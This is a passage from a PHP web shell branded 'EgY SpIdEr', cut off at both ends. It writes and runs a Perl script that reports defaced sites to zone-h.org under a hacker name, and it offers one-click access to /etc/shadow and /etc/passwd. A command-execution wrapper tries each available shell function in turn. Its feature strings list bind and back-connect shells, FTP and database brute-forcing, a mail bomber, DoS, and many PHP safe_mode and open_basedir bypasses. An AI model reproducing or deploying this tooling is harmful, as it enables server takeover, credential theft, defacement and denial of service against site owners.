1314                         print " ";
1315                         input("submit", "mailsub", "Send-mail", "");
1316                         print $ef;
1317                         die();
1318                     }
1319                     if (isset($_REQUEST['zonet']) && !empty($_REQUEST['zonet'])) {
1320                         callzone($nscdir);
1321                     }
1322                     function callzone($nscdir) {
1323                         if (is_writable($nscdir)) {
1324                             $fpz = fopen("z.pl", "w");
1325                             $zpl = 'z.pl';
1326                             $li = "bklist.txt";
1327                         } else {
1328                             $fpz = fopen("/tmp/z.pl", "w");
1329                             $zpl = '/tmp/z.pl';
1330                             $li = "/tmp/bklist.txt";
1331                         }
1332                         fwrite($fpz, "\$arq = @ARGV[0];
1333 \$grupo = @ARGV[1];
1334 chomp \$grupo;
1335 open(a,\"<\$arq\");
1336 @site = <a>;
1337 close(a);
1338 \$b = scalar(@site);
1339 for(\$a=0;\$a<=\$b;\$a++)
1340 {chomp \$site[\$a];
1341 if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
1342 print \"[+] Sending \$site[\$a]\n\";
1343 use IO::Socket::INET;
1344 \$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
1345 print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
1346 print \$sock \"Accept: */*\r\n\";
1347 print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
1348 print \$sock \"Accept-Language: pt-br\r\n\";
1349 print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
1350 print \$sock \"Connection: Keep-Alive\r\n\";
1351 print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
1352 print \$sock \"Host: old.zone-h.org\r\n\";
1353 print \$sock \"Content-Length: 385\r\n\";
1354 print \$sock \"Pragma: no-cache\r\n\";
1355 print \$sock \"\r\n\";
1356 print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\";
1357 close(\$sock);}");
1358                         if (touch($li) == true) {
1359                             $fpl = fopen($li, "w+");
1360                             fwrite($fpl, $_REQUEST['zonetxt']);
1361                         } else {
1362                             print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";
1363                         }
1364                         $zonet = $_REQUEST['zonet'];
1365                         if (!function_exists(exec) && !function_exists(shell_exec) && !function_exists(popen) && !function_exists(system) && !function_exists(passthru)) {
1366                             print "[ Can't complete the operation !! ]";
1367                         } else {
1368                             callfuncs("chmod 777 $zpl;chmod 777 $li");
1369                             ob_start();
1370                             callfuncs("perl $zpl $li $zonet");
1371                             ob_clean();
1372                             print "<p>[ All sites should be sended to zone-h.org successfully !! ]";
1373                             die();
1374                         }
1375                     }
1376                     if ($dlink == 'zone' && !isset($_REQUEST['zonesub'])) {
1377                         print $sf . "<br>";
1378                         print "<p><pre><textarea cols=50 rows=10 name=zonetxt>
1379 www.site1.com
1380 www.site2.com
1381 </textarea></pre></p>";
1382                         input("text", "zonet", "Hacker-name", 35);
1383                         print " ";
1384                         input("submit", "zonesub", "Send", "");
1385                         print $ef;
1386                         die();
1387                     }
1388                     print "</div></b></center>";
1389                     print "</td></tr>";
1390                     print "</table>";
1391                     print "<br>";
1392                     function inisaf($iniv) {
1393                         $chkini = ini_get($iniv);
1394                         if (($chkini || strtolower($chkini)) !== 'on') {
1395                             print "<font color=olive><b>OFF ( Not secured )</b></font>";
1396                         } else {
1397                             print "<font color=red><b>ON ( Secured )</b></font>";
1398                         }
1399                     }
1400                     function inifunc($inif) {
1401                         $chkin = ini_get($inif);
1402                         if ($chkin == "") {
1403                             print " <font color=red><b>None</b></font>";
1404                         } else {
1405                             $nchkin = wordwrap($chkin, 40, "\n", 1);
1406                             print "<b><font color=olive>" . $nchkin . "</font></b>";
1407                         }
1408                     }
1409                     function callocmd($ocmd, $owhich) {
1410                         if (function_exists(exec)) {
1411                             $nval = exec($ocmd);
1412                         } elseif (!function_exists(exec)) {
1413                             $nval = shell_exec($ocmd);
1414                         } elseif (!function_exists(shell_exec)) {
1415                             $opop = popen($ocmd, 'r');
1416                             while (!feof($opop)) {
1417                                 $nval = fgetc($opop);
1418                             }
1419                         } elseif (!function_exists(popen)) {
1420                             ob_start();
1421                             system($ocmd);
1422                             $nval = ob_get_contents();
1423                             ob_clean();
1424                         } elseif (!function_exists(system)) {
1425                             ob_start();
1426                             passthru($ocmd);
1427                             $nval = ob_get_contents();
1428                             ob_clean();
1429                         }
1430                         if ($nval = $owhich) {
1431                             print "<font color=red><b>ON</b></font>";
1432                         } else {
1433                             print "<font color=olive><b>OFF</b></font>";
1434                         }
1435                     }
1436                     print "<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>";
1437                     echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
1438                     die();
1439                 }
1440                 if (isset($_GET['egy'])) {
1441                     echo $head;
1442                     echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>';
1443                     $memf = @file("meminfo");
1444                     if ($memf) {
1445                         $c = sizeof($memf);
1446                         for ($i = 0;$i < $c;$i++) {
1447                             $info = explode(":", $memf[$i]);
1448                             if ($info[1] == "") {
1449                                 $info[1] = "---";
1450                             }
1451                             $r.= '<tr><td>' . ws(3) . '<font face=tahoma size=-2><b>' . trim($info[0]) . '</b></font></td><td><font face=tahoma size=-2><div align=center><b>' . trim($info[1]) . '</b></div></font></td></tr>';
1452                         }
1453                         echo $r;
1454                     } else {
1455                         echo '<tr><td>' . ws(3) . '<div align=center><font face=tahoma size=-2><b><div align="center">
1456   <font face="tahoma" size="-2"><b>
1457   <p align="center">&nbsp;</p>
1458   <p align="center">
1459   <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
1460 <IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/about.htm"></IFRAME></font></p>
1461   <p align="center">&nbsp;</p>
1462   <div id="n" align="center">
1463     &nbsp;</div>
1464   <p>&nbsp;</font></b></div>
1465 </b></font></div></td></tr>';
1466                     }
1467                     echo '</table>';
1468                     echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=" . $_SERVER['PHP_SELF'] . ">BACK</a> ]</b></font></div>";
1469                     die();
1470                 }
1471                 if (isset($_GET['news'])) {
1472                     echo $head;
1473                     echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>';
1474                     $memf = @file("meminfo");
1475                     if ($memf) {
1476                         $c = sizeof($memf);
1477                         for ($i = 0;$i < $c;$i++) {
1478                             $info = explode(":", $memf[$i]);
1479                             if ($info[1] == "") {
1480                                 $info[1] = "---";
1481                             }
1482                             $r.= '<tr><td>' . ws(3) . '<font face=tahoma size=-2><b>' . trim($info[0]) . '</b></font></td><td><font face=tahoma size=-2><div align=center><b>' . trim($info[1]) . '</b></div></font></td></tr>';
1483                         }
1484                         echo $r;
1485                     } else {
1486                         echo '<tr><td>' . ws(3) . '<div align=center><font face=tahoma size=-2><b><div align="center">
1487   <font face="tahoma" size="-2"><b>
1488   <p align="center">&nbsp;</p>
1489   <p align="center">
1490   <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
1491 <IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/news.htm"></IFRAME></font></p>
1492   <p align="center">&nbsp;</p>
1493   <div id="n" align="center">
1494     &nbsp;</div>
1495   <p>&nbsp;</font></b></div>
1496 </b></font></div></td></tr>';
1497                     }
1498                     echo '</table>';
1499                     echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=" . $_SERVER['PHP_SELF'] . ">BACK</a> ]</b></font></div>";
1500                     die();
1501                 }
1502                 if (isset($_GET['5'])) {
1503                     $_POST['cmd'] = 'systeminfo';
1504                 }
1505                 if (isset($_GET['6'])) {
1506                     $_POST['cmd'] = 'edit_file';
1507                     $_POST['e_name'] = '/etc/syslog.conf';
1508                 }
1509                 if (isset($_GET['7'])) {
1510                     $_POST['cmd'] = 'edit_file';
1511                     $_POST['e_name'] = '/etc/resolv.conf';
1512                 }
1513                 if (isset($_GET['8'])) {
1514                     $_POST['cmd'] = 'edit_file';
1515                     $_POST['e_name'] = '/etc/hosts';
1516                 }
1517                 if (isset($_GET['9'])) {
1518                     $_POST['cmd'] = 'edit_file';
1519                     $_POST['e_name'] = '/etc/shadow';
1520                 }
1521                 if (isset($_GET['10'])) {
1522                     $_POST['cmd'] = 'edit_file';
1523                     $_POST['e_name'] = '/etc/passwd';
1524                 }
1525                 if (isset($_GET['13'])) {
1526                     $_POST['cmd'] = 'cat /proc/cpuinfo';
1527                 }
1528                 if (isset($_GET['14'])) {
1529                     $_POST['cmd'] = 'cat /proc/version';
1530                 }
1531                 if (isset($_GET['15'])) {
1532                     $_POST['cmd'] = 'free';
1533                 }
1534                 if (isset($_GET['16'])) {
1535                     $_POST['cmd'] = 'dmesg(8)';
1536                 }
1537                 if (isset($_GET['17'])) {
1538                     $_POST['cmd'] = 'vmstat';
1539                 }
1540                 if (isset($_GET['18'])) {
1541                     $_POST['cmd'] = 'lspci';
1542                 }
1543                 if (isset($_GET['19'])) {
1544                     $_POST['cmd'] = 'lsdev';
1545                 }
1546                 if (isset($_GET['20'])) {
1547                     $_POST['cmd'] = 'cat /proc/interrupts';
1548                 }
1549                 if (isset($_GET['21'])) {
1550                     $_POST['cmd'] = 'cat /etc/*realise';
1551                 }
1552                 if (isset($_GET['22'])) {
1553                     $_POST['cmd'] = 'edit_file';
1554                     $_POST['e_name'] = '/etc/issue.net';
1555                 }
1556                 if (isset($_GET['23'])) {
1557                     $_POST['cmd'] = 'lsattr -va';
1558                 }
1559                 if (isset($_GET['24'])) {
1560                     $_POST['cmd'] = 'w';
1561                 }
1562                 if (isset($_GET['25'])) {
1563                     $_POST['cmd'] = 'who';
1564                 }
1565                 if (isset($_GET['26'])) {
1566                     $_POST['cmd'] = 'uptime';
1567                 }
1568                 if (isset($_GET['27'])) {
1569                     $_POST['cmd'] = 'last -n 10';
1570                 }
1571                 if (isset($_GET['28'])) {
1572                     $_POST['cmd'] = 'ps -aux';
1573                 }
1574                 if (isset($_GET['29'])) {
1575                     $_POST['cmd'] = 'service --status-all';
1576                 }
1577                 if (isset($_GET['30'])) {
1578                     $_POST['cmd'] = 'ifconfig';
1579                 }
1580                 if (isset($_GET['31'])) {
1581                     $_POST['cmd'] = 'netstat -a';
1582                 }
1583                 if (isset($_GET['32'])) {
1584                     $_POST['cmd'] = 'edit_file';
1585                     $_POST['e_name'] = '/etc/fstab';
1586                 }
1587                 if (isset($_GET['33'])) {
1588                     $_POST['cmd'] = 'fdisk -l';
1589                 }
1590                 if (isset($_GET['34'])) {
1591                     $_POST['cmd'] = 'df -h';
1592                 }
1593                 $lang = array('ar_text1' => ' ', 'ar_text2' => '   ', 'ar_text3' => ' ', 'ar_text4' => '    ', 'ar_text5' => '   ', 'ar_text6' => ' ', 'ar_text7' => ' ', 'ar_text8' => ' ', 'ar_butt1' => '', 'ar_butt2' => '', 'ar_text9' => '     /bin/bash', 'ar_text10' => '', 'ar_text11' => ' ', 'ar_butt3' => '', 'ar_text12' => ' ', 'ar_text13' => ' ', 'ar_text14' => '', 'ar_butt4' => '', 'ar_text15' => '   ', 'ar_text16' => ' ', 'ar_text17' => ' ', 'ar_text18' => ' ', 'ar_text19' => 'Exploits', 'ar_text20' => '', 'ar_text21' => ' ', 'ar_text22' => ' ', 'ar_text23' => ' ', 'ar_text24' => ' ', 'ar_text25' => ' ', 'ar_text26' => '', 'ar_butt5' => '', 'ar_text28' => '   ', 'ar_text29' => ' ', 'ar_butt6' => '', 'ar_text30' => ' ', 'ar_butt7' => '', 'ar_text31' => '  ', 'ar_text32' => '  php    eval', 'ar_text33' => 'Test bypass open_basedir with cURL functions', 'ar_butt8' => '', 'ar_text34' => '     include', 'ar_text35' => '     Mysql', 'ar_text36' => ' . ', 'ar_text37' => ' ', 'ar_text38' => ' ', 'ar_text39' => '', 'ar_text40' => '   ', 'ar_butt9' => '', 'ar_text41' => '  ', 'ar_text42' => ' ', 'ar_text43' => '  ', 'ar_butt10' => '', 'ar_text44' => '      ', 'ar_text45' => ' ', 'ar_text46' => ' phpinfo()', 'ar_text47' => '   php.ini', 'ar_text48' => '   temp', 'ar_butt11' => ' ', 'ar_text49' => '   ', 'ar_text50' => '   ', 'ar_text51' => '  ', 'ar_text52' => ' ', 'ar_text53' => ' ', 'ar_text54' => '    ', 'ar_butt12' => '', 'ar_text55' => '  ', 'ar_text56' => ' :(', 'ar_text57' => '/ /', 'ar_text58' => '', 'ar_text59' => '', 'ar_text60' => '', 'ar_butt13' => ' /', 'ar_text61' => '  ', 'ar_text62' => '  ', 'ar_text63' => '  ', 'ar_text64' => '  ', 'ar_butt65' => '', 'ar_text66' => '', 'ar_text67' => '//', 'ar_text68' => '', 'ar_text69' => ' ', 'ar_text70' => '', 'ar_text71' => "Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'ar_text72' => ' ', 'ar_text73' => '  ', 'ar_text74' => '  ', 'ar_text75' => '* you can use regexp', 'ar_text76' => '      find', 'ar_text80' => '', 'ar_text81' => '', 'ar_text82' => ' ', 'ar_text83' => '  ', 'ar_text84' => ' ', 'ar_text85' => 'Test bypass safe_mode with commands execute via MSSQL server', 'ar_text86' => '   ', 'ar_butt14' => '', 'ar_text87' => '      ', 'ar_text88' => '   :', 'ar_text89' => '    ', 'ar_text90' => ' ', 'ar_text91' => '', 'ar_text92' => '  ', 'ar_text93' => '  ', 'ar_text94' => '   ', 'ar_text95' => ' ', 'ar_text96' => '    ', 'ar_text97' => ' : ', 'ar_text98' => ' : ', 'ar_text99' => '*      /etc/passwd   ftp', 'ar_text100' => '      ', 'ar_text101' => '   ', 'ar_text102' => ' ', 'ar_text103' => ' ', 'ar_text104' => '   ', 'ar_text105' => '', 'ar_text106' => '', 'ar_text107' => '', 'ar_butt15' => '', 'ar_text108' => '', 'ar_text109' => '', 'ar_text110' => '', 'ar_text111' => '   : ', 'ar_text112' => '      mb_send_mail', 'ar_text113' => '     via imap_list', 'ar_text114' => '     via imap_body', 'ar_text115' => '    compress.zlib://', 'ar_text116' => ' ', 'ar_text117' => '', 'ar_text118' => '  ', 'ar_text119' => ' ', 'ar_err0' => ' !      ', 'ar_err1' => ' !       ', 'ar_err2' => '!   ', 'ar_err3' => '!       ', 'ar_err4' => ' !       ', 'ar_err5' => ' !       ', 'ar_err6' => ' !   ', 'ar_err7' => ' ', 'ar_text200' => 'copy()    ', 'ar_text202' => '   ', 'ar_text300' => 'curl()    ', 'ar_text203' => 'ini_restore()    ', 'ar_text204' => 'error_log()    ', 'ar_text205' => '    ', 'ar_text206' => '  ', 'ar_text207' => '      reg_glob', 'ar_text208' => '       ', 'ar_text209' => '      root', 'ar_text210' => '   ', 'ar_text211' => '::  ::', 'ar_text212' => 'php.ini       ', 'ar_text213' => 'htacces       ', 'ar_text214' => ' ', 'ar_text215' => '  IRC ', 'ar_text216' => '#   ', 'ar_text217' => '  ', 'ar_text218' => '   ini_restore     ', 'ar_text219' => '       ', 'ar_text220' => '     symlink  ', 'ar_text221' => '    (       )1', 'ar_text222' => '     symlink  ', 'ar_text223' => '    ', 'ar_text224' => 'PLUGIN      ', 'ar_text143' => ': ', 'ar_text65' => '', 'ar_text33' => '    open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'ar_text34' => '      include function', 'ar_text35' => '      load file in mysql', 'ar_text85' => '      commands execute via MSSQL server', 'ar_text112' => '      function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'ar_text113' => '    safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'ar_text114' => '    safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'ar_text115' => '    safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'ar_text116' => 'Copy from', 'ar_text117' => 'to', 'ar_text118' => 'File copied', 'ar_text119' => 'Cant copy file', 'ar_text120' => '    safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'ar_text121' => '    open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'ar_text122' => '    open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'ar_text123' => '    open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'ar_text124' => '    open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'ar_text126' => '    open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'ar_text127' => '    open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'ar_text128' => 'Modify/Access file (touch)', 'ar_text129' => '    open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'ar_text130' => '    open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'ar_text131' => '    open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'ar_text132' => '    open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'ar_text133' => '    open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'ar_err3' => 'Error! Can\'t connect to ftp', 'ar_err4' => 'Error! Can\'t login on ftp server', 'ar_err5' => 'Error! Can\'t change dir on ftp', 'ar_err6' => 'Error! Can\'t sent mail', 'ar_err7' => 'Mail send', 'ar_text1' => 'Executed command', 'ar_text2' => 'Execute command on server', 'ar_text33' => '    open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'ar_text34' => '      include function', 'ar_text35' => '      load file in mysql', 'ar_text112' => '      function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'ar_text113' => '    safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'ar_text114' => '    safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'ar_text115' => '    safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'ar_text120' => '    safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'ar_text121' => '    open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'ar_text122' => '    open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'ar_text123' => '    open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'ar_text124' => '    open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'ar_text126' => '    open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'ar_text127' => '    open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'ar_text128' => 'Modify/Access file (touch)', 'ar_text129' => '    open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'ar_text130' => '    open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'ar_text131' => '    open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'ar_text132' => '    open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'ar_text133' => '    open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'ar_text142' => 'Downloaders', 'ar_text137' => 'Useful', 'ar_text128' => 'Modify/Access file (touch)', 'ar_text129' => '    open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'ar_text130' => '    open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'ar_text131' => '    open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'ar_text132' => '    open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'ar_text133' => '    open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'ar_text134' => 'Database-bruteforce', 'ar_text135' => 'Dictionary', 'ar_text136' => 'Creating evil symlink', 'ar_text137' => 'Useful', 'ar_text138' => 'Dangerous', 'ar_text139' => 'Mail Bomber', 'ar_text140' => 'DoS', 'ar_text141' => 'Danger! Web-daemon crash possible.', 'ar_text142' => 'Downloaders', 'ar_text143' => 'Temp: ', 'ar_text144' => '      load file in mysqli', 'ar_text145' => '    open_basedir, view dir list via realpath() (PHP <= 5.2.4)', 'ar_text146' => 'Max Interation', 'ar_text147' => '', 'ar_text148' => '', 'ar_text149' => '', 'ar_text150' => '', 'ar_err0' => 'Error! Can\'t write in file ', 'ar_err1' => 'Error! Can\'t read file ', 'ar_err2' => 'Error! Can\'t create ', 'ar_err3' => 'Error! Can\'t connect to ftp', 'ar_err4' => 'Error! Can\'t login on ftp server', 'ar_err5' => 'Error! Can\'t change dir on ftp', 'ar_err6' => 'Error! Can\'t sent mail', 'ar_err7' => 'Mail send', 'ar_text125' => 'Data', 'ar_text225' => '        4.4.7 / 5.2.3 PHP ', 'ar_text226' => '    Root Directory: ', 'ar_text227' => '      4.4.2/5.1.2', 'ar_text228' => '        ', 'ar_text230' => '         ', 'ar_text151' => '     chdir()and ftok() (PHP <= 5.2.6)', 'ar_text161' => '     posix_access() (posix ext) (PHP <= 5.2.6)', 'ar_text147' => '', 'ar_text148' => '', 'ar_text149' => '', 'ar_text150' => '', 'ar_text159' => '  egy spider', 'ar_text152' => ' ', 'ar_text153' => ' ', 'ar_text154' => '   ', 'ar_text155' => '  ', 'ar_text156' => '  ', 'ar_text157' => '    ', 'ar_text158' => '   ', 'ar_text160' => '  ', 'ar_text162' => '        ionCube (PHP <= 5.2.4)', 'ar_text163' => '    ', 'ar_text170' => '       Posix_getpw(PHP <= 4.2.0)', 'ar_text171' => ' PHP (Win32std) Extension      (PHP <= 5.2.3)', 'ar_text180' => '    ', 'eng_butt1' => 'Execute', 'eng_butt2' => 'Upload', 'eng_butt3' => 'Bind', 'eng_butt4' => 'Connect', 'eng_butt5' => 'Run', 'eng_butt6' => 'Change', 'eng_butt7' => 'Show', 'eng_butt8' => 'Test', 'eng_butt9' => 'Dump', 'eng_butt10' => 'Save', 'eng_butt11' => 'Edit file', 'eng_butt12' => 'Find', 'eng_butt13' => 'Create/Delete', 'eng_butt14' => 'Download', 'eng_butt15' => 'Send', 'eng_text1' => 'Executed command', 'eng_text2' => 'Execute command on server', 'eng_text3' => 'Run command', 'eng_text4' => 'Work directory', 'eng_text5' => 'Upload files on server', 'eng_text6' => 'Local file', 'eng_text7' => 'Aliases', 'eng_text8' => 'Select alias', 'eng_text9' => 'Bind port to /bin/bash', 'eng_text10' => 'Port', 'eng_text11' => 'Password for access', 'eng_text12' => 'back-connect', 'eng_text13' => 'IP', 'eng_text14' => 'Port', 'eng_text15' => 'Upload files from remote server', 'eng_text16' => 'With', 'eng_text17' => 'Remote file', 'eng_text18' => 'Local file', 'eng_text19' => 'Exploits', 'eng_text20' => 'Use', 'eng_text21' => '&nbsp;New name', 'eng_text22' => 'datapipe', 'eng_text23' => 'Local port', 'eng_text24' => 'Remote host', 'eng_text25' => 'Remote port', 'eng_text26' => 'Use', 'eng_text28' => 'Work in safe_mode', 'eng_text29' => 'ACCESS DENIED', 'eng_text30' => 'Cat file', 'eng_text31' => 'File not found', 'eng_text32' => 'Eval PHP code', 'eng_text33' => 'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'eng_text34' => 'Test bypass safe_mode with include function', 'eng_text35' => 'Test bypass safe_mode with load file in mysql', 'eng_text36' => 'Database . Table', 'eng_text37' => 'Login', 'eng_text38' => 'Password', 'eng_text39' => 'Database', 'eng_text40' => 'Dump database table', 'eng_text41' => 'Save dump in file', 'eng_text42' => 'Edit files', 'eng_text43' => 'File for edit', 'eng_text44' => 'Can\'t edit file! Only read access!', 'eng_text45' => 'File saved', 'eng_text46' => 'Show phpinfo()', 'eng_text47' => 'Show variables from php.ini', 'eng_text48' => 'Delete temp files', 'eng_text49' => 'Delete script from server', 'eng_text50' => 'View cpu info', 'eng_text51' => 'View memory info', 'eng_text52' => 'Find text', 'eng_text53' => 'In dirs', 'eng_text54' => 'Find text in files', 'eng_text55' => 'Only in files', 'eng_text56' => 'Nothing :(', 'eng_text57' => 'Create/Delete File/Dir', 'eng_text58' => 'name', 'eng_text59' => 'file', 'eng_text60' => 'dir', 'eng_text61' => 'File created', 'eng_text62' => 'Dir created', 'eng_text63' => 'File deleted', 'eng_text64' => 'Dir deleted', 'eng_text65' => 'Create', 'eng_text66' => 'Delete', 'eng_text67' => 'Chown/Chgrp/Chmod', 'eng_text68' => 'Command', 'eng_text69' => 'param1', 'eng_text70' => 'param2', 'eng_text71' => "Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72' => 'Text for find', 'eng_text73' => 'Find in folder', 'eng_text74' => 'Find in files', 'eng_text75' => '* you can use regexp', 'eng_text76' => 'Search text in files via find', 'eng_text80' => 'Type', 'eng_text81' => 'Net', 'eng_text82' => 'Databases', 'eng_text83' => 'Run SQL query', 'eng_text84' => 'SQL query', 'eng_text85' => 'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86' => 'Download files from server', 'eng_text87' => 'Download files from remote ftp-server', 'eng_text88' => 'server:port', 'eng_text89' => 'File on ftp', 'eng_text90' => 'Transfer mode', 'eng_text91' => 'Archivation', 'eng_text92' => 'without arch.', 'eng_text93' => 'FTP', 'eng_text94' => 'FTP-bruteforce', 'eng_text95' => 'Users list', 'eng_text96' => 'Can\'t get users list', 'eng_text97' => 'checked: ', 'eng_text98' => 'success: ', 'eng_text99' => '/etc/passwd', 'eng_text100' => 'Send file to remote ftp server', 'eng_text101' => 'Use reverse (user -> resu)', 'eng_text102' => 'Mail', 'eng_text103' => 'Send email', 'eng_text104' => 'Send file to email', 'eng_text105' => 'To', 'eng_text106' => 'From', 'eng_text107' => 'Subj', 'eng_text108' => 'Mail', 'eng_text109' => 'Hide', 'eng_text110' => 'Show', 'eng_text111' => 'SQL-Server : Port', 'eng_text112' => 'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'eng_text113' => 'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'eng_text114' => 'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'eng_text115' => 'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'eng_text116' => 'Copy from', 'eng_text117' => 'to', 'eng_text118' => 'File copied', 'eng_text119' => 'Cant copy file', 'eng_text120' => 'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'eng_text121' => 'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'eng_text122' => 'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'eng_text123' => 'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'eng_text124' => 'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'eng_text125' => 'Data', 'eng_text126' => 'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'eng_text127' => 'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'eng_text128' => 'Modify/Access file (touch)', 'eng_text129' => 'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'eng_text130' => 'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'eng_text131' => 'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'eng_' => 'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'eng_text133' => 'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'eng_text134' => 'Database-bruteforce', 'eng_text135' => 'Dictionary', 'eng_text136' => 'Creating evil symlink', 'eng_text137' => 'Useful', 'eng_text138' => 'Dangerous', 'eng_text139' => 'Mail Bomber', 'eng_text140' => 'DoS', 'eng_text141' => 'Danger! Web-daemon crash possible.', 'eng_text142' => 'Downloaders', 'eng_text143' => 'Temp: ', 'eng_text144' => 'Test bypass safe_mode with load file in mysqli', 'eng_text145' => 'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', 'eng_text146' => 'Max Interation', 'eng_text147' => '', 'eng_text148' => '', 'eng_text149' => '', 'eng_text150' => '', 'eng_err0' => 'Error! Can\'t write in file ', 'eng_err1' => 'Error! Can\'t read file ', 'eng_err2' => 'Error! Can\'t create ', 'eng_err3' => 'Error! Can\'t connect to ftp', 'eng_err4' => 'Error! Can\'t login on ftp server', 'eng_err5' => 'Error! Can\'t change dir on ftp', 'eng_err6' => 'Error! Can\'t sent mail', 'eng_err7' => 'Mail send', 'eng_text1' => 'Executed command', 'eng_text2' => 'Execute command on server', 'eng_text3' => 'Run command', 'eng_text4' => 'Work directory', 'eng_text5' => 'Upload files on server', 'eng_text6' => 'Local file', 'eng_text7' => 'Aliases', 'eng_text8' => 'Select alias', 'eng_butt1' => 'Execute', 'eng_butt2' => 'Upload', 'eng_text9' => 'Bind port to /bin/bash', 'eng_text10' => 'Port', 'eng_text11' => 'Password for access', 'eng_butt3' => 'Bind', 'eng_text12' => 'back-connect', 'eng_text13' => 'IP', 'eng_text14' => 'Port', 'eng_butt4' => 'Connect', 'eng_text15' => 'Upload files from remote server', 'eng_text16' => 'With', 'eng_text17' => 'Remote file', 'eng_text18' => 'Local file', 'eng_text19' => 'Exploits', 'eng_text20' => 'Use', 'eng_text21' => '&nbsp;New name', 'eng_text22' => 'datapipe', 'eng_text23' => 'Local port', 'eng_text24' => 